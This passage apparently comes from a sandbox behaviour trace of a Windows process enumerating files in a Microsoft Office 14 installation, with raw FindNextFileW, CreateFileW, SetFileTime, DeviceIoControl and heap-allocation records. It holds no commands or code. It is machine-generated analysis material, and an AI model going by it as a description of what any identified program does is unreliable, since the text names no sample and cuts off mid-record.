ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="")) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.DE.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.ES.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.FR.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.HK.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IE.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IT.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.JP.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.NO.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.PL.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="")) returned 1 [0079.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="")) returned 0 [0079.279] GetLastError () returned 0x12 [0079.279] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.280] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0079.280] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0079.280] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0079.280] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0079.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.312] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.312] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.314] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0079.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca080 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de8a8 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4d00) returned 0xacb2b8 [0079.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca0a0 [0079.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de7a0 [0079.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.317] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0079.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca0c0 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1710 [0079.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.318] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca0e0 [0079.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1818 [0079.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.319] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: 